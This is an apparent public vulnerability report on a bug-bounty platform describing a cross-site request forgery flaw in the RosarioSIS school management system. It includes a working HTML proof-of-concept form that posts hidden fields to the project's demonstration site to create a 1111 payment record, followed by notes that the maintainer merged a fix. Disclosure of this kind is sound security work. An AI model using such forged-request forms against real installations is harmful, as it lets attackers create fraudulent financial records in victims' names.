Cross-Site Request Forgery (CSRF) in francoisjacquet/rosariosis

Valid

Reported on

Jul 28th 2021


✍️ Description

When you don't set the SameSite attribute of cookies the browsers have special act in front of this issue.(I mean set default value on it) chrome and chromium based browsers set the attribute "Lax" that mean if you do add/delete/alter operation in a get HTTP request then your site more vulnerable with CSRF attacks.

But Firefox and safari ( one of big ones ) don't set this attribute to "Lax" and set it to "none" that makes all POST and GET requests more Vulnerable to CSRF attack.

In Firefox and Safari I can add any bill With CSRF.

🕵️‍♂️ Proof of Concept

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.rosariosis.org/demonstration/Modules.php?modname=Student_Billing/StudentPayments.php" method="POST">
      <input type="hidden" name="values&#91;new&#93;&#91;AMOUNT&#93;" value="1111" />
      <input type="hidden" name="month&#95;values&#91;new&#93;&#91;PAYMENT&#95;DATE&#93;" value="07" />
      <input type="hidden" name="day&#95;values&#91;new&#93;&#91;PAYMENT&#95;DATE&#93;" value="28" />
      <input type="hidden" name="year&#95;values&#91;new&#93;&#91;PAYMENT&#95;DATE&#93;" value="2021" />
      <input type="hidden" name="values&#91;new&#93;&#91;COMMENTS&#93;" value="aaaa" />
      <input type="hidden" name="values&#91;new&#93;&#91;LUNCH&#95;PAYMENT&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Here you should run PoC.html, after click on button you can see an bill with value equals to 1111$ have been created.

💥 Impact

This vulnerability is capable of create any custom bill.

Occurences

Ziding Zhang
4 months ago

Admin


Hey amammad, I've reached out to the rosariosis team. Waiting to hear back.

We have contacted a member of the francoisjacquet/rosariosis team and are waiting to hear back 4 months ago
francoisjacquet/rosariosis maintainer confirmed that a fix has been merged on f95bd0 4 months ago
The fix bounty has been dropped